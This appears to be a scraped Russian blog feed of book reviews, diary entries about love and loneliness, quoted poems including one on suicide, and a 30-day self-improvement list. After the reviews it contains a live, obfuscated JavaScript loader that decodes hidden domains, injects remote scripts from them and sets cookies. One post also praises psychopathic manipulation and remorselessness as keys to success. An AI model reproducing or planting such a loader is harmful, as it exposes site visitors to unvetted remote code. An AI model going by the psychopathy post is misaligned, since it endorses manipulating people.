Не знаю, мне особо не понравилось это произведение..Да романтично, да, письма восхитительны, но мне кажется, ну уж сильно все наиграно…Ну не увидела я тамтакой трагичной трагедии, чтобы все случилось как случилось и было потеряно столько времени…За прекрасность писем и за искренность главного героя- счастливое 7ое место

8.После тебя

В очередной раз убедила меня эта книга, что хорошие истории не терпят продолжения в очередных книгах..Вторая книга, как продолжение " До встречи с тобо", меня разочаровала, хотя, я ее прочитала сразу же после вышеупомянутой, но сейчас делая выводы после всего прочитанного, скажу честно, одна из худших книг автора..Не потому, что сюжет плох, а потому, что та книга была закончена правильно, справедливо и лаконично, а притянутый за уши хеппи энд, такой прекрасной истории, как по мне, очень глупо…Но вцелом читается легко, как и все книги автора…

9.Ночная музыка

Не знаю, я почему-то от этой книги много и не ожидала..Хорошая история, все мило, но как по мне, очень скучно..Красивые пейзажи, что-то подобие на трагичность и безысходность, какая-то на скорую руку сделаная любовная история, не понятно откуда появившаяся…Мне понравилось, но читала, чтобы просто дочитать…Не впечатлила…Байрону и покойному старику отдельный респект, а ну и все спасли геи из магазинчика!только они не давали заснуть мне при ночных чтениях этого романа

10.Серебряная бухта

Прочитала ее 3й, и честно, после нее долго думала, читать ли следующие книги этого автора..Да, безумно красивые пейзажи, бабулька Акула, классная тетка0 остальное- ну ни о чем..Ах, да, киты…киты, тоже спасали книгу, киты и все о китах…Но в остальном..притянутая за уши любовная история, странная мамаша…Ну, не знаю, наверное, эта книга на любителя…Я честно, сказать, не оценила…,

И что я хочу сказать напоследок, я вам очень и очень советую этого автора..Книги чита.тся на одном дыхании..Со мной не часто такое бывает, что читая, я как бы фильм вижу, здесь было именно так!

Всем любви!

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Я Мерлин, Мерлин. Я героиня самоубийства и героина. Кому горят мои георгины? С кем телефоны заговорили? Кто в костюмерной скрипит лосиной? Невыносимо, невыносимо, что не влюбиться, невыносимо без рощ осиновых, невыносимо самоубийство, но жить гораздо невыносимей! Продажи. Рожи. Шеф ржёт, как мерин (Я помню Мерлин. Её глядели автомобили. На стометровом киноэкране в библейском небе, меж звёзд обильных, над степью с крохотными рекламами дышала Мерлин, её любили… Изнемогают, хотят машины. Невыносимо), невыносимо лицом в сиденьях, пропахших псиной! Невыносимо, когда насильно, а добровольно - невыносимей! Невыносимо прожить, не думая, невыносимее - углубиться. Где наша вера? Нас будто сдунули, существованье - самоубийство, самоубийство - бороться с дрянью, самоубийство - мириться с ними, невыносимо, когда бездарен, когда талантлив - невыносимей, мы убиваем себя карьерой, деньгами, ножками загорелыми, ведь нам, актёрам, жить не с потомками, а режиссёры - одни подонки, мы наших милых в объятьях душим, но отпечатываются подушки на юных лицах, как след от шины, невыносимо, ах, мамы, мамы, зачем рождают? Ведь знала мама - меня раздавят, о, кинозвёздное оледененье, нам невозможно уединенье, в метро, в троллейбусе, в магазине "Приветик, вот вы!" - глядят разини, невыносимо, когда раздеты во всех афишах, во всех газетах, забыв, что сердце есть посерёдке, в тебя завёртывают селедки, лицо измято, глаза разорваны (как страшно вспомнить во "Франс-Обсёрвере" свой снимок с мордой самоуверенной на обороте у мёртвой Мерлин!). Орёт продюсер, пирог уписывая: "Вы просто дуся, ваш лоб - как бисерный!" А вам известно, чем пахнет бисер?! Самоубийством! Самоубийцы - мотоциклисты, самоубийцы спешат упиться, от вспышек блицев бледны министры - самоубийцы, самоубийцы, идёт всемирная Хиросима, невыносимо, невыносимо все ждать, чтоб грянуло, а главное - необъяснимо невыносимо, ну, просто руки разят бензином! Невыносимо горят на синем твои прощальные апельсины… Я баба слабая. Я разве слажу? Уж лучше - сразу!

Смотрю сериал "Взгляд в прошлое", там о девушке, которая отправляется в прошлое, в замечательные 90е, чтобы исправить совершенные некогда ошибки. Сериал, в принципе, неплохой, но сейчас не совсем о нем. Был там момент, который мне уж очень понравился. Эта самая девушка сомневаясь, стоит ли ей выходить замуж за мужчину, которого она вроде бы любит, обратилась за советом к отцу и далее диалог:
- в чем дело?
- не думаю, что должна выходить замуж за Шона
- твое лицо, когда ты видишь Шона, напоминает тебя в детстве, когда ты впервые включила свет, ты поверить не могла своему счастью. Это магия, дважды такого в жизни не испытать.

Влюбленностей в жизни может быть много, но любовь, та самая настоящая и всепоглощающая всегда одна. Всегда будет тот человек, которого вы будете вспоминать всю оставшуюся жизнь.
Пожалуйста, постарайтесь сберечь и сохранить свою магию.

И, если в тот момент, когда у нас начало все рушиться, у меня зазвенело бы в ушах, и я бы восприняла это за знак свыше. ну или как там, то сейчас я бы все отдала за это. Мне очень обидно и больно, но это не сравнится с чувством стыда. я вымолила прощение, но не простила себя сама. меня это угнетает. Так вот, мне кажется, я одна бегу по камням, спотыкаясь, падаю и расшибаю колени в кровь, ничего не чувствуя, встаю и снова бегу, не замечая горизонта. Я пытаюсь сохранить отношения как сумасшедшая, держась за этот шанс, как за последнюю ниточку, которая меня спасает от пропасти и прям в самую бездну этих наглых людишек. Есть самое прекрасное, но уже почти не мое. Не знаю точно, чья в этом вина.. Я его люблю и всегда любила. не так как думала, не так как вела. любила еще сильнее. Бывало, засыпали, а я всем внутренним голосом кричала про себя, как я испытываю к нему эти чувства нежные и ликую от его любых прикосновений, даже случайных. Мне все время кажется. Сейчас, например, что любовь ушла. и почему все расстаются время от времени? ничего не держит, не совместно прожитые годы, ни чувства и эмоции, когда-то охватывающие до самых лодыжек, ни холодные пальцы, вцепившиеся, точно, до самой души. Я хочу и ла в прошедшем времени, чтобы это никогда не закончилось. До бескрайнего будущего. Да и вообще. Я не могу в метафоры. Я просто люблю тебя навсегда. Прости.

я загнала себя в дичайшую задницу. это край. и я понимаю, что мне гужна психологическая помощь и в то же время понимаю, что никто не может кроме меня мне помочь. дикая дичь. проснись уже!

Каждый день я общаюсь с разными людьми и самые достойные из них одиноки. Их отличает харизма, безупречная внешность, живой аналитичный мозг, абсолютное воспитание и идеальные манеры, за которым ВСЕГДА спрятаны тысячи чертей и зависимость от адреналина…и сильный, властный взгляд, в котором едва просматривается небольшая грусть… Они ищут «своих» людей. Своих для общения, для компании и приятного отдыха, своих для любви, отношений и семьи. Они чаще ошибаются, сильнее страдают, реже идут на контакт, тяжелее переживают неудачи. Но каждый раз, сгорая в отношениях дотла, они возрождаются из пепла, как птицы Феникс, становясь еще более совершенными и более сильными. И снова, и снова начинают всё сначала. Им чужды стереотипы современного общества, им не возможно навязать чужое мнение… За спиной их всегда поливают грязью, но никто и никогда не осмелится им что-то сказать в лицо, и все слухи разбиваются об их железный характер вдребезги. Независимо от того, мужчина это или женщина, они в поисках такого человека, рядом с которым будет спокойно. И это «спокойно» основано не на отсутствии ссор, адреналина или крайних граней эмоций. Это «спокойно» означает, что рядом человек, который не предаст. Человек, которому ты безгранично веришь, доверяешь и уверен на все 200%. Даже самым сильным людям…нужна уверенность в том, что их любят…

Кто вообще эти психопаты? Они всего лишь люди, которые отвергают общепринятые порядки, традиции, правила. По своей сути, они гениальны. Нам есть чему у них поучиться. Каждый, абсолютно каждый гений нашего мира был или остается психопатом. Ведь даже изобретение чего-то нового, считается безумством. Вот вам примеры, Генри Форд - все считали его безумцем, лишь любящая жена верила в него; Стив Джобс - мой кумир, наплевал на мнение остальных и сделал то, что он хотел; таких людей много, и большинство из них остаются незамеченными, неузнанными, а все лишь потому, что их не поддерживали, в них не верили, считая их безумцами. Как бы парадоксально это ни звучало, у психопатов есть чему поучиться! Что, если некто, совершивший поджог дома, мог бы впоследствии смело броситься в пекло, чтобы разыскать и спасти ребенка? Что, если уличный парнишка с ножом годы спустя мог бы оказаться выдающимся хирургом? А ведь это истина, хотя в нее и трудно поверить. Психопаты не знают страха и жалости, они обаятельны, привлекательны и безгранично уверены в себе. Да и вспыльчивы они далеко не всегда. В наше время деление на психопатов и нормальных людей условно, вот почему распознать психопата не так уж и просто. Качества, присущие психопатам, нередко встречаются у лидеров. Отсутствие жалости и готовность манипулировать, завышенная самооценка, неистощимое обаяние и необыкновенный дар убеждения - все это позволяет им делать что угодно и когда угодно, совершенно не заботясь о последствиях и не испытывая ни малейших угрызений совести. У психопатов, безусловно, есть чему поучиться - их личные качества и интеллект гарантируют успех в жизни.

Очень хорошо вчера отпраздновали День рождения. Пила толко вино, поэтому хорошо было не только вчера, но и сегодня. Сидела там вместе с двумя своими жёнами, но мы не ссорились, так что всё збс. Ещё и с польками неплохо там пообщались, даже подружились слегка. Сделали комплимент, что я хорошо говорю по-польски. Не очень верится, но приятно, чёрт возьми.

Именинница была очень удивлена и очень рада, что мы не только устроили для неё праздник в 12 ночи, но ещё и подарки дарили. Она не ожидала от нас такой щедрости.

Но я всё смотрела на жену и понимала, что должна что-то сделать на её праздник, который пусть и не так скоро наступит, но думать что-то надо. Для неё это слишком важно, а я практически не обращала на это внимания раньше. В этом году я должна придумать что-то действительно грандиозное. Уже есть некоторые соображения, но мне надо, чтобы она была здесь, праздновала вместе со мной. А она что-то там думает поехать домой. Глупая. Или вообще думает умотать куда-то заграницу, но это уже вместе со мной, конечно же.

как у него дела? сочиняешь повод
и набираешь номер; не так давно вот
встретились, покатались, поулыбались.
просто забудь о том, что из пальца в палец
льется чугун при мысли о нем - и стынет;

нет ничего: ни дрожи, ни темноты нет
перед глазами;
смейся, смотри на город,
взглядом не тычься в шею-ключицы-ворот,
губы-ухмылку-лунки ногтей-ресницы -
это потом коснется, потом приснится;
двигайся, говори; будет тихо ёкать
пульс где-то там, где держишь его под локоть;

пой; провоцируй; метко остри - но добро.
слушай, как сердце перерастает ребра
,
тестом срывает крышки, течет в груди,
если обнять. пора уже, все, иди.

и вот потом - отхлынуло, завершилось,
кожа приобретает былой оттенок -
знай: им ты проверяешь себя на вшивость.
жизнеспособность. крепость сердечных стенок.

ты им себя вытесываешь, как резчик:
делаешь совершеннее, тоньше, резче;
он твой пропеллер, двигатель - или дрожжи
вот потому и нету его дороже;
с ним ты живая женщина, а не голем;
плачь теперь, заливай его алкоголем,
бейся, болей, стихами рви - жаркий лоб же,
ты ведь из глины, он - твой горячий обжиг;
кайся, лечи ошпаренное нутро.
чтобы потом - спокойная, как ведро, -
" здравствуй, я здесь, я жду тебя у метро".


#полозкова #вера #вераполозкова

К чёрту эти двойные стандарты.
— Хорошо, Брук, что ты это сказала. Это стоит сказать любой девушке, которая устала от этих правил. Не будь слишком толстой или слишком худой, слишком тёмные волосы или слишком светлые. Не будь слишком сексуальной или слишком целомудренной, слишком умной или слишком глупой. Будь собой, но убедись, что тебя это устраивает.

Позвонил мне перед курсами, а я с ним так грубо разговаривала, так побыстрее хотела закончить разговор.. И готовить сегодня ничего не хочу. Ничего не хочу. Только спрятаться под одеяло ото всех и не высовываться.

Я не справляюсь.

Устроила себе выходной. Тоже мне, устроительница великая.

Мысли мои, переставши обременять свой светлый лик учебой углубились в мир шизофреническо-неизведанной подкорки головного мозга. Я поймала себя на том, что уже долгое время хочу перечитать всю серию книг о Мефодии Буслаеве. Ну или хотя бы что-нибудь. Что-нибудь Дмитрия Емца.

Даже применив сложновыговариваемые епитеты, я вряд ли смогу выразить всю глубину любви своей к этому автору. Именно он привил мне любовь к чтению. Именно он и его лирические герои мыслями своими и своими деяниями служили увеселителем в труднейшие жизенные ситуации. Кто-то смотрел страшные фильмы, плакал в подушку, а я читала Емца. И гордилась этим.

Конечно, благодаря свойственному мне дару субъективно выделять лучшие произведения в карьере создателя, я, несомненно, нарекла бы апофиозом творчества Емца "Мефодия Буслаева". Хотя бы за крупный шрифт и ведьму Улиту.

И киньте в меня тапком, те, кто считает первые части Тани Гроттер, да и вообще сюжетную епопею о Гроттер чем-то особенным и не хуйней. В ней радует только пол героини. И Гурик Пуппер.

Но, по определению моего бывшего информатика - не ошибается тот, кто ничерта не делает. И даже, чтобы не произвел в далеком-далеком прошлом пречудесный и талатнливейший Емец, он уже реабилитирован за Таню Гроттер. Взять хотя бы Мефодия Буслаева и ШНыра.

"А ты кто? Пуп человечества? Сочувствую!Великих полководцв и пупов человечества всегда в избытке. Это психушек вечно строят впритык" - Улита

Наверное, это тот самый первый раз когда мои одноклассники увидели как я подкалываю инсулин.

С того момента как меня только не выстебывали… Какая-то среда в моем классе была загнившая.

Постоянно чувствовала себя ничтожеством.

Возвращаться к бывшим – это как взять со стола стакан с жидкостью, похожей на сок, сделать глоток (а некоторые успевают выпить половину) и понять, что это ссанье, сморщиться и поставить стакан на место, а через три месяца резко схватить стакан и начать хлебать и давиться с глупой надеждой "а вдруг все-таки сок?! "
Не сок.

Говорят, что привычка формируется где-то за месяц. Мы уже рассказывали о том, как избавиться от вредной привычки, а теперь у нас более оптимистичная тема: как сформировать полезные привычки. Если ты хочешь завести обыкновение делать что-то хорошее, это требует целеустремленности и культивации. Поэтому стоит бросать себе вызов в течение как минимум 30 дней, чтобы результат стал заметен. Да, это нелегко. Чтобы определить, нужно ли тебе ввязываться во всё это, спроси себя: «Кем я хочу быть через пять лет?» Какие привычки тебе в этом помогут? Лучше начни меняться сейчас, и твоя жизнь начнет изменяться вместе с тобой!

Никогда не поздно стать лучше, так что выбери один или сразу несколько пунктов и начинай прямо сегодня! Веди записи о своем прогрессе, расскажи об этом друзьям и продолжай начатое. Предупреждаем: если ты выберешь для себя слишком много привычек одновременно, ты можешь провалиться — так что не переусердствуй.

1. Каждый день пиши или говори какому-нибудь человеку, что тебе в нем нравится (просто).
Ты можешь выражать это как устно, так и письменно: в записке, смс или по электронной почте. Это отличный способ дать понять, что этот человек тебе небезразличен. Мы так часто фокусируемся на плохом, что забываем говорить о хорошем. Так ты по-любому сделаешь чей-то день хорошим, не затратив на это усилий.

2. Каждый день заговаривай с незнакомцем (сложно).
Вот это круто! Помогает побороть боязнь заговорить с кем-то первым. У тебя бывало такое, что ты хочешь подойти к кому-то и боишься, а потому убеждаешь себя, что на самом деле тебе этого вовсе не хочется? Распрощайся с этим беспочвенным страхом! Если ты 30 раз заговоришь с незнакомцами, ты в итоге осознаешь, что люди — это просто люди, и нет ничего страшного в том, чтобы заговорить с кем-то, кого не знаешь.

3. Делай по фотографии каждый день (сложно).
Это станет сложным уже к концу испытания, потому что у тебя начнут заканчиваться идеи. Зато так можно сделать настоящий фотодневник — очень интересное дело!

4. Ежедневно переоценивай свое мнение (средне).
Очень полезно, кстати, переосмысливать собственные убеждения и таким способам избавляться от предрассудков и прочего мракобесия, очищая ум для новых убеждений — более актуальных, лучше применимых в жизни.

5. Ежедневная получасовая прогулка (просто).
Гулять полезно для здоровья, это расслабляет и служит источником вдохновения. А еще это легко и абсолютно бесплатно! Во время прогулки очень интересно разглядывать других людей, размышляя о том, чем они похожи и чем различаются — между собой и конкретно с тобой. Так ты разовьешь в себе наблюдательность и способность сопереживать.

6. Выдели время, чтобы похвалить себя (просто).
Ты любишь себя? Ты утешаешь себя, после того как совершишь ошибку? Очень возможно, что ты слишком требователен и суров к себе. Это всё потому, что наше общество устанавливает для людей такие высокие стандарты, которых практически невозможно достичь. И поэтому мы часто думаем, что недостаточно хороши, что мы чего-то там не заслуживаем. Это умение научит тебя принимать тебя таким, какой ты есть, даже с недостатками, которые тебе не очень нравятся. Ты станешь реже в себе разочаровываться и начнешь принимать свои несовершенства как неотъемлемую часть жизни. А еще от твоего отношения к себе зависит и то, как тебя воспринимают другие.

7. Каждый день пробуй новый рецепт (средне).
Если хочешь научиться готовить, тебе нужно одно: практика, практика и практика! Брось себе вызов: каждый день пробуй новый рецепт, и ты выучишь новые техники и ингредиенты. А еще так можно избавиться от вредных пищевых привычек и превратить их в здоровые.

8. Откажись от алкоголя, никотина и других наркотиков на месяц (индивидуальная степень сложности).
Ты не помнишь, когда в последний раз приходил с вечеринки трезвым? А ты вообще можешь развлекаться, не находясь под воздействием веществ, изменяющих твое восприятие? Это крутой вызов, чтобы научиться противостоять социальному давлению.

9. Напиши рассказ длиной в 50 000 слов за месяц (сложно).
Когда-нибудь мечтал написать книгу? Сделай это. Сделай это за месяц.

10. Научись рисовать человеческое лицо за месяц (средне).
Мы уже рассказывали тебе, как научиться рисовать. Используй наш мануал, если всё еще хочешь этому научиться — практикуйся каждый день, без выходных! Брось себе вызов — и ты удивишься, каких успехов добьешься за 30 дней.

11. Смотри документальные фильмы каждый день (просто).
Всегда мечтал расширить кругозор? К счастью, на дворе XXI век, эпоха компьютеров, безлимитного Интернета и торрент-трекеров! Ты можешь найти в сети массу документальных фильмов и узнать чуть ли не всё обо всем.

12. В день прочитывай главу книги (просто).
Да-да, мы в курсе: читать полезно, хватит просиживать за компьютером и портить глаза, испорти их книгой, будешь начитанным. Если у тебя к этому вовсе душа не лежит — прочитывай в день хотя бы по главе. По одной. Легко же, правда? Пусть это превратится в приятное времяпрепровождение: устройся в кресле, налей себе чаю или кофе, включи эмбиент.

13. Изучи интересующий тебя предмет за месяц (сложно).
Всегда хотел разбираться в зоопсихологии? Философии? Истории зарубежной литературы средних веков? Займись самообразованием! Выбери тему, разработай план — и в путь!

14. Каждый день добирайся до университета или работы новой дорогой (просто).
Это хороший способ лучше узнать свой город, а еще разобраться в многоразличных транспортных маршрутах — особенно если ты недавно переехал. А еще ты превратишь рутину в приключение и обратишь внимание, сколько интересного таится в, казалось бы, привычных местах.

15. Читай по статье на Brodude каждый день (просто).
Отличный способ получать вдохновение и новые идеи — и просто веселиться!

16. Откажись от СМИ на месяц (средне).
Не смотри телевизор и прекрати читать газеты и новостные сайты. Ограничься чтением, скажем, пяти блогов. Заблокируй свои аккаунты в соцсетях. Прекрати перегружать себя информацией, живи просто. Ты удивишься, сколько у тебя появится свободного времени!

17. Брось на месяц вредную привычку (сложно).
Ты куришь? Всегда видишь лишь отрицательную сторону вещей? У тебя низкая самооценка? Ты ешь фастфуд? Слишком много играешь в видеоигры? Брось что-нибудь на месяц и вместо этого выбери себе что-то из нашего списка.

18. Вдохновляйся каждый день (просто).
Исследования показали, что люди, которые имеют источники вдохновения, всегда более счастливы, приятны, продуктивны и не сходят со своего пути, если встречают трудности. Так что распечатай какую-нибудь цитату и прикрепи ее к зеркалу. Заведи себе вдохновляющее видео и помести его на домашнюю страницу. Читай мантры. Заведи себе жизненные принципы. Короче говоря, каждый день вдохновляй себя!

19. Принимай холодный душ каждый день (средне).
Холодный душ поднимает настроение, избавляет от стресса и болезней, которые он вызывает, укрепляет иммунную систему и полезен для кожи.

20. Думай о достижениях, которые хочешь сделать за ближайшие 30 лет — по году в день (сложно).
Это настоящая шокотерапия! Ты не сможешь ответить себе на этот вопрос, пока не осмыслишь, какова твоя жизнь и в какую сторону она, вероятно, будет развиваться. Кстати, повод как-то измениться, задуматься о собственном прогрессе. И заняться самоанализом.

21. Упражняйся в чем-то каждый день (просто).
Ты можешь выбрать для себя любой навык и практиковаться в нем. Например, я всю жизнь хотел научиться верстать журналы и никак не мог завершить обучение. Вот и попробую. А также есть масса всего: танцы, готовка, паркур — фантазируй!

22. Ходи по лестнице, не пользуясь эскалаторами и лифтами (просто).
Иногда я смотрю на эти эскалаторы в торговых центрах, и они кажутся мне смешными. Особенно когда по ним едут толстяки. Слишком ленивы, чтобы лишний раз пошевелиться. Так что ходи по лестнице каждый раз, когда тебе предоставится такая возможность. Это полезно для здоровья и не выглядит смешным.

23. Рано просыпайся каждый день (средне).
Еще Аристотель говорил, что просыпаться до восхода солнца полезно для здоровья, благосостояния и мудрости.

24. Веди дневник (средне).
Очень хорошо оставлять записи на память, а еще это полезно для самоанализа. Потом будет очень приятно перечитать это и вернуться в прошлое, вспомнить свои золотые деньки.

25. Не врать целый месяц (сложно).
Вот это вызов! Прекрати обманывать себя и окружающих, говори от всего сердца. Это очень разовьет твою личность: ты начнешь действительно размышлять о светлых вещах, чтобы не приходилось врать.

26. Сочетай эти вызовы (просто).
Фотографируй себя читающим разные книги в разных местах. Пройди 10 000 шагов по новому маршруту и по дороге заговори с незнакомцем — спроси у него какой-нибудь рецепт. Каждый день бросай себе новый вызов — на один день. Проснись, чтобы помедитировать и похвалить себя. А напоследок — холодный душ!

27. Ежедневно делай то, что тебя пугает (сложно).
Страх — это то, что не дает тебе стать лучше. Единственный способ преодолеть его — пойти ему навстречу.

28. Не жалуйся (сложно).
Уверен: с первого дня это у тебя не получится. Даже если ты такой весь из себя позитивный парень, сложно не испытывать негативных чувств весь день. Не расстраивайся, если провалишься: всё приходит с практикой. Очень хороший способ научиться держать свои мысли под контролем.

29. Медитируй каждый день (средне).
Лучшее время — сразу после пробуждения или перед отходом ко сну. Очень полезно!

30. Ежедневно делай что-то бескорыстно (просто).
Оглянись и помоги кому-то, кто заслуживает или даже не заслуживает твоей доброты. Помоги соседке вынести мусор. Дай денег бездомному. Делай записи об этом.

Мне всегда тяжело расставаться с чем-то, терять, выходить из комфортной зоны, хотя это в меньшей степени.

Это распространяется на все, вплоть до безделушек. Я тут неделю назад потеряла свою карту премию, на которую мне в супермаркете начислялись рубли.

Пришлось купить новую.

А вы же знаете, что в интернете все покупки отображаются по старой карте. Вот читаю все покупки свои и мне грустно. И даты там есть. Это прям удар в сердце. Я больше не смогу посмотреть историю старых покупок и понастальгировать!

Смотрю на эти "вафли с халвой", "селедку под шубой", "Пепси 1,25л" и печаличка.

И кстати. Мы думали, что потеряла я карту где-то дома, но я все обыскала, даже в магазине спрашивала. Я сегодня зашла в историю покупок и прифигела. Кто-то совершал покупки с моей картой, голубцы и пельмени покупал. Я в шоке, конечно :)

Слава богу, что бонусов там у меня не было.

Изображение - savepic.net — сервис хранения изображений Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений Изображение - savepic.net — сервис хранения изображений

Изображение - savepic.net — сервис хранения изображений Изображение - savepic.net — сервис хранения изображений

Мы все были так впечатлены тобой. Я бы смотрела на тебя днями. Все еще не понимаю, как ты сделал это. Я потрясена твоим талантом, и ты поставил планку так высоко для всех остальных. Спасибо за то, что ты такой невероятный коллега и друг. Майкл Фассбендер, ты - легенда.

Вот что написал мне мой знакомый на днях: «Сильных женщин никто не любит. Мужчины ждут, что женщина будет слабой и уязвимой. Сильная женщина это безжалостная или измученная чем-то женщина. В конце концов, это просто непривлекательно».

Я прочитала это сообщение. Вздохнула. Успокоилась. Перечитала вновь, сопротивляясь невероятному желанию написать этому человеку все, что я думаю, начав тем самым затяжную интернет-войну, которая в итоге привела бы к тому, что все остались при своем же мнении. Но, черт побери, это описание просто не давало мне спокойно жить!

Послушайте, сильная женщина это значит, что я могу постоять за себя. Это значит, что я целостная личность, та, что независима ни от кого и способна себя содержать. Это значит, что у меня есть собственное мнение и принципы, которых я всегда придерживаюсь.

Это не значит, что я никогда не прошу помощи. Прошу. Часто. И это не означает, что я слаба. Это говорит о том, что я в состоянии признать, что я не супер-женщина и что мне нужны другие люди.

Быть сильной не означает, что я закрываюсь от других, так как думаю, что я лучше их. Это не означает, что я подавляю мнения других людей. Это не означает, что я «безжалостная или измученная». Сильная женщина − это женщина, которая любит себя и свой мир, и поэтому она уверенна, позитивна и готова любить.

Я сильная женщина, потому что я твердо знаю, кто я такая.

И то, что сильных женщин трудно любить, − это совершенно неправильное представление. На самом деле все как раз наоборот. Сильная женщина это лучшая женщина, которую можно полюбить. Мы очень твердые характером, но при этом умеющие сострадать. Мы любим искренне, потому что в первую очередь мы умеем любить себя.

Если вас пугает понятие «сильная женщина», возможно, это потому, что вы знаете, что такая женщина заставит вас думать и меняться, заставит взглянуть на мир по-другому, бросит вам вызов. Но при этом она позволит своей второй половинке также показать ей другой мир и открыть нового человека внутри себя. Не путайте понятия независимости и неспособности впустить кого-то в свой мир.

Мир рассматривает нас как угрозу, правда. Просто нас становится «слишком много», мы «слишком пугающие», «несчастные» и «измученные». Но ни одно из этих описаний не является верным.

Мы − женщины с твердым пониманием себя и с принципами. Женщины, которые не боятся гордиться собой. Женщины, которые знают ценность своей ранимости, своей страсти и силы. И мы женщины, которые будут бороться с любым человеком, смеющим говорить, что мы должны изменить себя любым путем.

Автор: Мариса Донелли

Нужен ли мне большой дом, быстрый автомобиль, тысяча безотказных красоток для секса? Мне действительно все это нужно? Или меня так натаскали?
Все это действительно лучше того, что у меня уже есть? Или меня просто так выдрессировали, чтобы мне было мало того, что у меня уже есть, чтобы это меня не устраивало? Может, я просто под властью чар, которые заставляют меня поверить, что человеку всегда всего мало?

знаешь, как то страшно становится от того, когда вспоминаешь его слова "я тебя никому не отдам" и теперь, когда ты пытаешься начать с кем то он вдруг внезапно возращается с какими то предложениями о дружбе, общении и тд.

становится страшно от того, что человек может и не бросал слов на ветер, как ты думала. что может он и правда никому тебя не отдаст.

потому что правильно писали, что чувства не проходят, тебе просто со временем становится на них похуй. ты не разлюбил, тебе просто похуй, что ты там чувствуешь. боль притупляется и рана уже не кровоточит.

но вот он пишет. и это все снова, как будто распустили швы у старого пореза. снова все внутри заливается кровью.

и очень страшно, что человек не отпускает. не отдает. что ты снова хочешь ощутить себя его частью.

и очень страшно, что человек может и не врал. что человек никому не отдаст.

в каждом пятом блоге, каждый десятый пост - это хуйня про себложь и получишь сообщение (ну вы поняли). я вижу это уже 6 лет и у меня такое впечатление, что я одна понимаю, какая это все хуйня и, главное, как вы меня заебали.
я отписалась от стольких хороших блогов просто из-за того, что они бесконечно засоряли мне ленту этим постом.

Как-то так вышло, что я в среду вечером поехала к Илье. На два дня. Да, офигеть, даже в будние дни я уже у него ночую. Это все потому что на выходные он уезжает, и как-то так вышло, что он позвал меня к себе. Да, теперь он хочет видеть меня даже после работы, когда он злой и уставший.

Я подарила ему настоящие комиксы о Дэдпуле прямиком из США. Он охренел на полчаса. Дрожащими руками перелистывал страницы, а мне было так приятно, будто это мои комиксы. Благодарил, умилялся, радовался, сказал, что так нечестно. Я не понимаю, что в этом нечестного. Мне захотелось подарить ему что-то и зазорным я это не считаю. Да, он мне еще ничего не дарил, но у него зарплата только 15-го, а до этого дня ему кое как на еду хватает денег, да на проезд. Правда, сказал, что пока они полежат у меня. Чую, это не только пока…

Утром проснулись (точнее, проснулась первой я по его же будильнику, а потом будила его кое как), я поехала в универ, а он на работу. С универа я уже вернулась и совсем одна у него дома. Не то, чтобы мне заняться нечем или мне скучно - есть комп, телевизор, можно сходить покурить. На самом деле, мне очень комфортно здесь уже. И вообще рядом с ним.

Вопрос: что приготовить на ужин, если в холодильнике только пельмени, сыр, капуста и майонез с кетчупом? :D

Каждый раз перед отъездом из родительского дома я чувствую неимоверное одиночество, которое как по щелчку пальца появляется, а потом обрастает и обрастает вокруг меня. Сейчас почему-то это чувствую особенно остро: родители на работе, моя сумка стоит до сих пор еще не собрана, а я сижу и жду, пока про меня вспомнит и напишет один человек, который, видимо, слишком занят для этой всей писанины.

Но я уже придумала для себя сегодняшний вечер: он будет винный.

. In vino veritas.

круто заканчивать фразы в два голоса.
круто когда тебя слушают затаив дыхание и восхищаются полученным знаниям.
круто слушать с открытым ртом!
круто.

Почему-то в последнее время хочется себя чувствовать как-то по-особенному.

Хочется носить шикарное белье просто так, а не потому что какой-то повод. Носить туфли на высоком каблуке, платья. Маникюр, макияж, украшения.

Кажется, я все-таки схожу с ума.

Купила себе вчера кружевное боди, черную шелковую блузу.

На самом деле, я и так практически каждый день хожу в платьях, каждый день на каблуках. И слышу кучу комплиментов, но мне все равно кажется, что я недостаточно хороша.

Кто-то просыпается в слезах, кто-то просыпается от того, что падает/умирает/кричит/храпит. А я сегодня проснулась от СМЕХА. От СВОЕГО СМЕХА.

Впервые у меня такое. Ржала во сне над тупостью подруги.

